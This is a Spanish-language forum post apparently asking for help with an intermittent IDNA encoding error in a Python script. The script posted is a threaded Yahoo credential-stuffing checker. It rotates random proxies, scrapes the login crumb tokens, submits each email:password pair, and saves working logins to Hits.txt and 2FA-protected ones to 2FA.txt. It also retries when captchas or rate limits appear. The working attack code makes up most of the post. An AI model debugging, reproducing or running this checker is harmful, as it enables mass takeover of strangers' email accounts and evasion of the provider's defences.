Tengo un codigo que me logea en yahoo con python, usando la librería requests (Esta en un sistema de threading, por eso el while) y obtengo el siguiente error a veces (No el 100% de las veces)
encoding with 'idna' codec failed (UnicodeError: label too long)
y este es la funcion, no se exactamente donde ocurre el error ya que el programa esta programado para que me guarde los errores en un log.txt (En el except exception as e)y no los imprima para así no molestar. Bueno, espero que me puedan ayudar
def Yahoo(email, password, proxylist,retry, timeout):
global hits, bads, free, checked, error, cpm
sess = requests.Session()
#PROXY = "11.456.448.110:8080"
while True:
if "yahoo" in email or "ymail" in email:
try:
threads, proxy_type, retrys, timeout, Limit, ProxyGrabber, ProxyLink=load_params()
if proxy_type == "http":
scheme = "http"
elif proxy_type == "socks4":
scheme = "socks4"
elif proxy_type == "socks5":
scheme = "socks5"
if not "null" in proxy_type:
proxy = random.choice(proxylist).replace(" ", "%20")
count = proxy.count(":")
proxy_form = {'http': f"{scheme}://{proxy}", 'https': f"{scheme}://{proxy}"}
else:
pass
US = urllib.parse.quote(email)
PS = urllib.parse.quote(password)
header = {
"User-Agent": "Mozilla/5.0 (Linux; Android 10; vivo 1938 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.120 Mobile Safari/537.36"
}
url1 = "https://api.login.yahoo.com/oauth2/request_auth_fe?appid=com.yahoo.mobile.client.android.mail&appsrcv=6.32.1&src=androidphnx&srcv=8.15.0&intl=xa&language=en-EG&sdk-device-id=ODhjNTQyNzQzYTdkMGQzNmRiZWY5YTQzYjRhMDkxNzNiMjNmMzQyM2Zm&push=1&.asdk_embedded=1&theme=light&redirect_uri=https%3A%2F%2Fapi.login.yahoo.com%2FILokwdqHQAZzHkFZ%2Fcallback%2Fauth&client_id=ILokwdqHQAZzHkFZ&response_type=code&prompt=login&state=I0falo_JUh5wXg16U3HyxQ&scope=sdct-w%20mail-w%20sdpp-w%20yfin-w%20sports%20fspt-w%20openid%20device_sso&code_challenge=5yZbTpllpzJ2736u86Y3uKWg-JWs2pwqfXeP18uX83c&code_challenge_method=S256&nonce=ce32PksOQp4vNRULsFeOoFtsho447OHJ&webview=1"
if not "null" in proxy_type:
r1 = sess.get(url1, headers=header, allow_redirects=False, proxies=proxy_form, timeout=int(timeout))
else:
r1 = sess.get(url1, headers=header, allow_redirects=False, timeout=int(timeout))
Y1 = r1.text[22:]
if Y1 == "" or Y1 == " ":
continue
if not "null" in proxy_type:
r2 = sess.get(Y1, headers=header, proxies=proxy_form, timeout=int(timeout))
else:
r2 = sess.get(Y1, headers=header, timeout=int(timeout))
r2c = sess.cookies.get_dict()
YY = str(r2c)[str(r2c).find("{'AS': '")+len("{'AS': '"):str(r2c).rfind("', 'OA': '")]
Y31 = r2.text[r2.text.find("name=\"crumb\" value=\"")+len("name=\"crumb\" value=\""):r2.text.rfind("\"")]
Y3 = Y31[0:11]
Y41 = r2.text[r2.text.find("name=\"acrumb\" value=\"")+len("name=\"acrumb\" value=\""):r2.text.rfind("\"")]
Y4 = Y41[0:8] #8
Y51 = r2.text[r2.text.find("name=\"sessionIndex\" value=\"")+len("name=\"sessionIndex\" value=\""):r2.text.rfind("\"")]
Y5 = Y51[0:4] #4
content = "acrumb="+Y4+"&crumb="+Y3+"&sessionIndex="+Y5+"&displayName=&deviceCapability=&username="+US+"&passwd=&signin=Next"
header = {
"Content-Type":"application/x-www-form-urlencoded",
"Host": "login.yahoo.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Linux; Android 10; vivo 1938 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.120 Mobile Safari/537.36",
"X-Requested-With": "XMLHttpRequest",
"Accept": "*/*",
"Origin": "https://login.yahoo.com",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "login.yahoo.com/",
"Accept-Language": "en-EG,en;q=0.9,en-US;q=0.8,en;q=0.7",
"Cookie": "AS=" + YY
}
if not "null" in proxy_type:
r3 = sess.post(Y1, headers=header, data=content, allow_redirects=False, proxies=proxy_form, timeout=int(timeout))
else:
r3 = sess.post(Y1, headers=header, data=content, allow_redirects=False, timeout=int(timeout))
if "location\":\"/account/challenge/password" in r3.text:
Y7 = r3.json().get('location')
content = "crumb="+Y3+"&acrumb="+Y4+"&sessionIndex="+Y5+"&displayName="+US+"&username="+US+"&passwordContext=normal&password="+PS+"&verifyPassword=Next"
url = "https://login.yahoo.com"+Y7
header = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Linux; Android 10; vivo 1938 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.120 Mobile Safari/537.36",
"Pragma": "no-cache",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Host": "login.yahoo.com",
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "https://login.yahoo.com",
"X-Requested-With": "com.yahoo.mobile.client.android.mail",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "https://login.yahoo.com/",
"Accept-Language": "en-EG,en;q=0.9,en-US;q=0.8,en;q=0.7"
}
if not "null" in proxy_type:
r4 = sess.post(url, headers=header, data=content, allow_redirects=False, proxies=proxy_form, timeout=int(timeout))
else:
r4 = sess.post(url, headers=header, data=content, allow_redirects=False, timeout=int(timeout))
if "<p>Found. Redirecting to <a href=\"https://api.login.yahoo.com/oauth2/request_auth" in r4.text:
good = "\033[1;32;40m[+] " + email + ":" + password + "\033[1;37;40m"
print(good)
hits+=1
checked+=1
cpm+=1
good = email + ":" + password
open('results/Yahoo/{}/Hits.txt'.format(current_date), 'a+').write("{}\n".format(good))
break
elif "<p>Found. Redirecting to <a href=\"/account/challenge/password?done=" in r4.text or "INVALID_IDENTIFIER" in r4.text:
if str(retry) == str(retrys):
fail = "\033[1;31;40m[-] " + email + ":" + password + "\033[1;37;40m"
print(fail)
bads+=1
checked+=1
cpm+=1
break
else:
retry+=1
continue
elif "<p>Found. Redirecting to <a href=\"/account/challenge/challenge-selector" in r4.text:
custom = "\033[1;33;40m[*] " + email + ":" + password + "\033[1;37;40m"
print(custom)
free+=1
checked+=1
cpm+=1
custom = email + ":" + password
open('results/Yahoo/{}/2FA.txt'.format(current_date), 'a+').write("{}\n".format(custom))
break
elif "rate limited" in r4.text or "captcha" in r4.text:
error+=1
continue
else:
error+=1
continue
elif "error\":\"messages.INVALID_USERNAME" in r3.text or "Sorry, we don't recognize this account" in r3.text or "/account/challenge/push" in r3.text or "/account/challenge/yak-code" in r3.text or "INVALID_IDENTIFIER" in r3.text or "/account/challenge/fail" in r3.text or "/saml2/atthaloc/request" in r3.text:
if str(retry) == str(retrys):
fail = "\033[1;31;40m[-] " + email + ":" + password + "\033[1;37;40m"
print(fail)
bads+=1
checked+=1
cpm+=1
break
else:
retry+=1
continue
elif "location\":\"/account/challenge/recaptcha" in r3.text or "location\":\"/account/challenge/arkose" in r3.text:
error+=1
continue
else:
error+=1
continue
except Exception as e:
"""f = open("log.txt", "w")
f.write(str(e))"""
open("log.txt", 'a+').write("{}\n".format(e))
#f.close()
#print(e)
error+=1
continue
else:
break
bueno, espero que me puedan ayudar :D Cualquier infomacion que necesiten me dicen, espero que me puedan ayudar, es urgente pls